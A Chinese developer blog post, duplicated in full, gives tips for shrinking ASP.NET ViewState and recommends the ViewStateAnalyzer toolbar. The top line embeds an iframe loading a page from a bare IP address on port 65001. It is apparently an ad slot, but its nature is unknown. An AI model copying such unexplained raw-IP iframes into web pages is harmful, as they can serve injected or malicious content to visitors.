<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>
最近忙于开发一套internet应用的信息系统,以前做企业内部管理系统,几乎不用考虑到的ViewState的问题,导致一个表单录入竟然有300k-400k的大小。很显然在internet是不可行的,所以做了很多优化的办法,最后压缩到不到原来的1/10。
asp.net的控件开发模型,在一定程度上是成功的,然后控件开发模型带来的ViewState的开销,如果开发不注意,会导致页面体积猛涨。
CristianCivera 所开发的免费程序ViewStateAnalyzer http://lab.aspitalia.com/26/ViewStateAnalyzer200.aspx#eng
透过InternetExploer附加ToolBar功能,可以记录与分析ASP.NET2.0ViewState的内容,并可选取两个被记录下来的ViewState进行比对,对于某些状况(例如:Thestateinformationisinvalidforthispageandmightbecorrupted.错误讯息)的除错十分方便。有兴趣的朋友可于此处下载,这是几个类似工具中做得比较好的一个。
顺便交流一下我的小经验:
1,尽量不要用asp.net自带的验证控件,在批量录入数据时大量的验证控件生成很多页面代码;
2,如果htmlcontrol能满足你的要求,就可以不用webcontrol;
3,很多时候用repeater也很不错,不一定都用gridview;
4,对于ViewState比较大的页面,可以考虑压缩;
5,对于移动的应用,可以考虑把ViewState放到session中;
6,用javascript动态创建控件,也能够压缩不少页面代码;
7,利用一些成熟的框架(如jquery),能够大大提高开发效率,提高UI体验,还得靠javascript做很多工作;
8,如果控件的ViewState没有必要,就要设置EnableViewState=false,对于gridview,ViewState有蛮多重要的信息(如分页信息),所以不能gridview.EnableViewState=false,但是可以用gridview.Controls[0].EnableViewState=false,以清除没有用的ViewState。
最近忙于开发一套internet应用的信息系统,以前做企业内部管理系统,几乎不用考虑到的ViewState的问题,导致一个表单录入竟然有300k-400k的大小。很显然在internet是不可行的,所以做了很多优化的办法,最后压缩到不到原来的1/10。
asp.net的控件开发模型,在一定程度上是成功的,然后控件开发模型带来的ViewState的开销,如果开发不注意,会导致页面体积猛涨。
![单击在新窗口中打开图片,Ctrl+滚轮缩放图片](http://www.chenjiliang.com/Article/ArticleImage/5/2613/ViewStateAnalysisTool1.png)
CristianCivera 所开发的免费程序ViewStateAnalyzer http://lab.aspitalia.com/26/ViewStateAnalyzer200.aspx#eng
透过InternetExploer附加ToolBar功能,可以记录与分析ASP.NET2.0ViewState的内容,并可选取两个被记录下来的ViewState进行比对,对于某些状况(例如:Thestateinformationisinvalidforthispageandmightbecorrupted.错误讯息)的除错十分方便。有兴趣的朋友可于此处下载,这是几个类似工具中做得比较好的一个。
![单击在新窗口中打开图片,Ctrl+滚轮缩放图片](http://www.chenjiliang.com/Article/ArticleImage/5/2613/ViewStateAnalysisTool2.gif)
顺便交流一下我的小经验:
1,尽量不要用asp.net自带的验证控件,在批量录入数据时大量的验证控件生成很多页面代码;
2,如果htmlcontrol能满足你的要求,就可以不用webcontrol;
3,很多时候用repeater也很不错,不一定都用gridview;
4,对于ViewState比较大的页面,可以考虑压缩;
5,对于移动的应用,可以考虑把ViewState放到session中;
6,用javascript动态创建控件,也能够压缩不少页面代码;
7,利用一些成熟的框架(如jquery),能够大大提高开发效率,提高UI体验,还得靠javascript做很多工作;
8,如果控件的ViewState没有必要,就要设置EnableViewState=false,对于gridview,ViewState有蛮多重要的信息(如分页信息),所以不能gridview.EnableViewState=false,但是可以用gridview.Controls[0].EnableViewState=false,以清除没有用的ViewState。